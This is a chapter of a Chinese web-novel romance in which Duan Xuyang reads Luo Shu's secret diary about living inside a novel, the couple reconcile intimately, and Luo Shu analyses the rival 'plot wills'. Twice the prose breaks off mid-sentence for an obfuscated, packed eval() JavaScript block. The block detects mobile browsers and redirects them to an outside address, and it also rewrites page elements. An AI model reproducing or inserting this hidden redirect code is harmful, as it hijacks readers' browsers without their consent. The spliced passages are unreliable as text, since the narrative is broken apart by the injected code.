最后一个字还没说完,她就已经挂断了电话。 女朋友出去打工并且住在集体宿舍的另一个弊端已经显露无疑。 段胥阳撇了撇嘴,愤愤地想,视频都不能视频尽兴。 前几天他忙得脚不沾地,除了睡前道一声晚安,他都找不到空隙跟罗姝聊天,好不容易他闲下来,罗姝那边又不方便。 这一个月注定要非常难熬了。 “还好我这个天才早有预料,拿了个笔记来睹物思人。”他边嘀咕边从行李箱里翻出那本差点压箱底的英语笔记。 刚来首都的前两天,段胥阳才刚结束短暂的甜蜜约会,正是戒断反应最严重的时候。 那时他就考虑过翻一翻罗姝的笔记缓解相思苦。 但是他了解自己。 女朋友亲手做的笔记也是英语笔记,他英语成绩不差,但要在每天这么疲惫的情况下看笔记,他只会睡得很香。 为了不辜负罗姝这本笔记,他愣是一眼没敢看,才终于等到今天这个休息的日子。 “这第一页开头总不会也是abandon吧。”他自言自语着翻开封面,看到一整页的方块字时呆了一下:“这是什么?” 【暗恋日记第一篇,天气晴。 特意和好友们去看了段胥阳乐队的首次演出,位置视野不错。 这也是我第一次见到这样的段胥阳,他的舞台是那么鲜活,歌声里涌动着声声不息的生命力,每一句歌词都令人动容。 最喜欢的节目是《改变自己》,先改变自己,再改变世界。】 【暗恋日记第二篇,天气晴。 一起回家,他车子里的味道很好闻,座位上的小熊也很可爱,早餐店的最后一份鸡蛋灌饼很香。 我好像看到了他学生模样之外的另一面,一个优秀的音乐人。 好喜欢他原创那首歌,可惜歌名还没定,不如叫《不甘》这么样?】 【暗恋日记第三篇,北风。 段胥阳带来的小蛋糕超级好吃,爱吃,他说之后会每周都带给我,开心。】 …… 【暗恋日记第14篇,天气阴。】 没有人可以拒绝温暖,厌恶太阳。 我也要飞蛾扑火了吗? …… 段胥阳嘴角噙着笑,一页接着一页认真看完这些流水账。 他们家姝姝好像不太会叙事,也不知道那封令人动容的情书是怎么写出来的。 他迫不及待翻开下一页。 一行有些混乱的字迹却率先映入眼帘: 《小说世界与现实世界差异列表》 —— 连着上了五天的班,罗姝终于获得了两天休息时间,她下班后连宿舍都没回,就归心似箭地往工作室赶。 其实同事们也算得上好相处,对她也十分照顾,但做了五天牛马,偶尔还会遇到无理取闹的客人,罗姝只想单独窝在房间里放松一下。 公交车上,她把排班表发给了段胥阳一份,说:“之后两天我在工作室,可以一直通话了。” 段胥阳隔了几分钟才回了消息:“今天就回去吗?” “嗯,我已经上了公交车。” 段胥阳发来一个好字,就再没回信。 罗姝刷新了一下,聊天界面最后一句还是她问的那句忙不忙。 “又在录歌吗?”罗姝戳了戳他的头像,抬眼向窗外一望,看到熟悉的站台已经渐渐逼近,只好收起手机准备下车。 直到夜里,她刚洗完澡在卫生间抹身体乳的时候,突然听到庭院大门被推开的声音。 她愣了愣,忙拿出手机查看监控,院落里只有一个熟悉的身影,是段胥阳风尘仆仆地赶了回来。 罗姝匆匆套上睡衣走了出去,正好与开门进来的段胥阳对上眼神,她眼里满是惊喜:“段胥阳,你们今天不忙么,怎么突然跑回来了?” 段胥阳忙着脱下外套,又低下头换鞋,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186421|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有及时回答她的问题。 等走到茶几前,他才从怀里羽绒服宽大的口袋里摸出了那本笔记,又看了看那个素雅普通的封面,才将它轻轻放下:“笔记拿错了,我给你送回来。” 看清究竟是哪一本笔记后,罗姝脸上的笑意荡然无存。 她上班几天,背包一直留在这,她还没来得及翻看包里的笔记本。 竟然也一直没有发现,最重要的那本,已经被命运捉弄般地送到了段胥阳的手上。 “你……”她刚说出一个字,就被段胥阳打断。 “我看过了,对不起。”他有些自嘲地笑了下,“我只是有些好奇,我在你的日记里会是什么形象,不知不觉就看完了。” 罗姝已经走上前来,他手指颤抖着抚上了她的脸:“姝姝……世界上怎么会有这么荒诞的事。” 假如段胥阳从来不曾见过什么红色的箭头,他大概会认为笔记本上那一大段一大段的文字,只是罗姝的想象。 什么小说世界,什么男主,什么炮灰,全都是无稽之谈。 但他偏偏见过。 凭心而论,那个红色的箭头对段胥阳的生活并没有多少帮助。 即便没有它,段胥阳也会意识到,他是那样过份地关注着罗姝。 红色箭头的出现,更像是给了他一颗定心丸,让他知道他的情愫落到了实处,他会得到心仪女孩的反馈。 而随着罗姝告白那天这个箭头的消失,他几乎要忘记他也曾与这样超自然的现象共处一年多的时间。 这会是罗姝笔记里的新剧情意志吗? 额角钝痛,段胥阳闷闷地想。 他很想像罗姝那样有条有理地分析,再给出一个相对明确的答案 但最终是无法抑制的情感占了上风,他不受控制地贴近她,眼中流露出显而易见的难过:“我真以为我们是两情相悦的。” 红色箭头骗了他。 姝姝也是。 她不是不会写记叙日记,她只是在敷衍地完成一个任务。 “对不起。”罗姝扑到他怀里,一只手摩挲着他的背试图安抚他的情绪,同时也语气焦急地解释着:“最初接近你确实另有目的,但请你相信我,跟你告白的时候,我是真的喜欢你。” 段胥阳把头埋在她肩颈的位置,双手也紧紧拥抱住她。 他们的情感浓度产生了差异。 此时再回想那些亲密的尺度,便觉得不合时宜。 他却丝毫不愿意放松拥抱的力度,也丝毫不情愿拉开身体的距离。 静默半晌,他沉声问:“我抱你的时候,你喜欢吗?吻你的时候呢?” “还有,失态的时候。”他艰难地吐出几个字,语气晦涩:“有没有吓到你?” “我从来没有产生过不尊重你的想法,但有时候我也会控制不住自己,希望没有让你感到冒犯。” “我买了杰士邦,那次回来后。”她插话进来,后仰着身子去看他的眼睛。 “我会跟你一样期待,因为我们是情侣,我们互相喜欢,我们理应做尽一切亲密的事情。你有多爱护我,我都能感受得到。” 他的眼里漫上水光,但没能凝聚成泪滴,只红了眼眶。 最终,他嘴角颤了颤:“吻我,好吗。” 49. 争夺自我第7天 自从决定好要经营剪辑号后,罗姝应评论区提议看了很多影视作品,尤其以爱情题材居多。 从她手中二次剪辑过的吻戏数不胜数,每一个场景都是唯美的、轻柔的、浪漫的,演员浑身上下每一个细胞都在演绎着投入和享受。 每当那时罗姝就会想起和段胥阳仅有的那一次深吻。 同样温柔缠绻,令人不知不觉地沉沦。 今天罗姝才知道,这一场由她发起的亲吻,也可以是这样有力的。 依然是那双柔软的唇,依然是紧紧钳制她的双臂,依然是对她珍视呵护的段胥阳。 但他落下来的每一个吻,都叫她感到唇瓣肿胀发麻,仿佛他要借着亲吻的理由,将她一口一口吞噬掉。 鼻息间空气越发稀薄,纠缠的二人恋恋不舍地短暂分离,他们鼻尖相抵,喘着粗气来调理呼吸。 罗姝趁机活动了一下双腿,她踮脚太久,脚尖和小腿都像是针扎一样,闪过一阵阵细密的疼痛。 段胥阳的视线从她红润的嘴唇上抽离,他向下扫了一眼她的腿部动作,没有迟疑地将她打横抱起,一步步迈入她的房间。 专程为罗姝准备的单人床骤然出现了两个人,便显得逼仄起来。 但对于缠吻的人而言,这狭窄的空间又恰到好处。 温度不断攀升,罗姝才刚洗过澡,就已经汗水涟涟,薄汗浸湿了衣衫。 “……段胥阳。”她小声嘤咛,抓着他的头发躲避。 被他舔舐过的肌肤已经泛起红晕,有些细微的刺痛感。 年轻男人的嘴角挂着一道泛光的水渍,听着她求饶的声调,他眸光一暗,又重重吻上她的唇。 直至她哭出声。 半晌,罗姝从抽噎中平息下情绪,她的眼角眉梢甚至是鼻尖,都因呜咽而涨红。 段胥阳安抚地亲了亲她的额头,转身走了出去。 她趁机坐起来,抽出床头的湿纸巾擦了擦黏腻的汗珠,被他咬过的地方她擦得格外狠,仿佛也能将那些咬痕一起清理掉一样。 很快,段胥阳端着杯温水回来,将其中一杯递到她嘴边,喂她喝了好几口,才慢条斯理地将剩余的部分自己喝掉。 看到他还穿着外裤,罗姝这才反应过来:“你进门后一直没换衣服,就沾了我的床单。” “反正要洗的,一会儿扯下来丢进洗衣机里,你跟我上楼睡。” 段胥阳不知悔改地翻身上床,挨着她躺下,又觉得怀里空空荡荡,直到将她搂住才安心。 他们之间瞬间多出了许多亟待沟通的问题。 这些问题在段胥阳脑海中一一闪过。但比起什么世界不世界的宏大论题,他更想先解决自己的情感问题。 “今天一整天,我都感觉自己非常搓败。”他贴着她的耳朵絮语:“我们明明这么亲密无间,对于你的很多事,我却一无所知。” “不知道你时不时隐忍的痛楚,不知道你内心压抑的恐慌,甚至不知道你还买了杰某邦。” 罗姝突然脸热:“最后一句可以不用排比进去。” “不,它就是这么重要。”段胥阳强调了一声,语气又低落起来:“我竟然让你一个人去买这个。” 他失落的理由让罗姝感到十分奇怪:“一个人不能买吗?” “在我的设想里,应该是我们都已经非常成熟,越发深爱彼此的时候,默契地手牵手一起去买它。” 段胥阳聊起自己最初的幻想:“那时,对于即将发生的一切,我们会心知肚明。 “无比渴求,无比雀跃,迫不及待。” 他语气中的期待又消散了:“可你还这么小,一个人去买了这个。” “姝姝,我们都不是情场老手。你是那样内敛矜持的小女孩,你真的懂得这件事真正意味着什么吗?” 段胥阳抱着她的手臂又紧了紧:“你只懂得一些理论知识,懵懵懂懂。相比起是你自己产生了什么想法,更像是想要满足我的期待。” “我害怕会是这样。”他甚至带上了几不可查的哽咽:“这个东西对于女性唯一的作用就是保护自己,我害怕我没能给你足够的安全感,让你进退两难,只能选择主动购买以防万一。” 罗姝安静聆听着,她回抱过去:“段胥阳,我不是只喝花露水的小仙子,人类都会有七情六欲,我也会有情绪旖旎的时候。” 她一下一下摸着他的头发,很韧,也很柔软,就像他这个人。 “我承认,确实是温泉酒店那一次,让我意识到我们之间的亲密底线究竟会低到什么程度。” “但正如我刚刚说过的,促使我想要购买这个东西,产生和你更进一步想法的,是在那时的亲吻里,我和你产生了一样的期待。” 看着他红彤彤的眼睛,罗姝又捧住他的脸,一字一顿认真说:“我不是羞涩的、被动的小女孩,我会如实地向你表达我的感受和我的需求。不要害怕,你从来没有给我带来任何压力和不适。” “恰恰相反,在你身边,我得救了一次又一次。” 尤其是在最崩溃的时候,接近他才能得到好眠。 叹着气,罗姝还是将话题引回了这个最致命的矛盾:“段胥阳,为什么你这么快就能接受我笔记本里记录的那一切呢?” “我和曹醍姐的猜测,难道是真的吗?” 床板嘎吱响了一声,是段胥阳翻了个身。 他换了个姿势平躺着,曾浮现在脸上的情绪悉数褪去,眼神平静。 “本来是想作为惊喜的。”他苦笑了一声:“要是能在坨坨家里看到我,你一定会觉得很神奇。” “坨坨?”罗姝不明白他为什么要提起自己的学生。 直到他说:“我是坨坨的表哥。” “那个跟他说,命中注定的爱人头顶上会有红箭头的,‘不着调’的表哥。” 那一长串的定语里,已经包含了段胥阳的答案。 罗姝轻易领会了他的意思:“所以,你能看见……” 她没有把话彻底说出口。 她已经很有经验。 剧情意志具备监控他们思想的能力,但只要不是“挣脱剧情”这样直白尖锐的想法,或明目张胆的进行言语讨论,也未必能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195381|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触发它的反噬。 她指了指自己的额头,做了个箭头的手势,表情询问。 段胥阳笑了一声,点点头:“对,但是现在已经看不到了。” “你跟我告白那天,它消失了。” 那就说得通了,段胥阳自身也有奇异经历,看到笔记,再联系到罗姝的异样,他能轻易接受这个世界观也不奇怪。 罗姝想了想,越过他跳下床,又把那本惹祸的笔记本找了回来,在上面写好段胥阳的奇遇表现。 段胥阳在一旁眼睁睁看着,脸色古怪:“哦~原来都是这样记录下来的。” 罗姝自觉往他怀里一缩,手上的笔不停,写下一行字。 她示意段胥阳看:“你们之间可以沟通吗?” “箭头上有信息,说你是我未来老婆,会在几年后跟我告白,就没别的了。”段胥阳说,他还重复一遍:“它说你是我老婆。” 可惜这点小心思罗姝丝毫没有接收,她下意识地开启了理性状态,正一心梳理逻辑。 段胥阳看着她一直在笔记本上写写画画,忍不住摇摇头。 能这么快从那些跌宕起伏的情绪中抽身迅速进入工作模式的,他只见过罗姝一个。 罗姝听不到他的腹诽,还在认真思考。 目前看起来,新剧情意志并不像曹醍和她身上的旧剧情意志那样具有攻击性,对于剧情的迭代,它的举措也更像是防守: 提前告知男主角真正的女主角是谁,帮助他们的感情线顺利进行,整个剧情就可以支撑。 或许,当时让罗姝夜不能寐的,那无数次被段胥阳拒绝告白的噩梦,压根不是旧剧情意志在提醒她走暗恋剧情。 而是在暗示她,她与段胥阳毫无可能。 正如曹醍猜测的那样,在它的计划里,只要新的女主角不再是女主角,旧的故事就依然可以成立。 它试图通过打击罗姝的方式,让她失去新女主角的特权。 然而这份居心却被误解了,反而使得罗姝又慌又乱地选择接近段胥阳。 又因为段胥阳身上有认同罗姝女主角地位的新剧情意志,她在段胥阳身边得到了新剧情的保护,不再遭受噩梦,又进一步加深了这份误解,于是一步步形成今天这副局面。 那些发不出去的短信和说不出口的告白都有了解释,是旧剧情意志从中作梗。 而支撑她成功告白的,是新剧情意志。任务完成后,它也功成身退,不再现身。 过去的疑点都得到了解释,从现状来看,这个世界正一步步朝着校园暗恋文该有的方向发展。 罗姝却依旧感到十分不得劲。 旧的剧情意志会随着新剧情的开展而消失吗?这可是曹醍对抗了十几年的对手。 但有一点罗姝无比确定。 只要旧剧情意志还存在一天,只要它还能对罗姝产生影响,三年之期的死亡预警就会一直有效。 毕竟,只要新的女主角消失,新的故事不能成型,旧的世界便可以一直存在。 她和它之间是生死之争,没有任何和平相处的可能。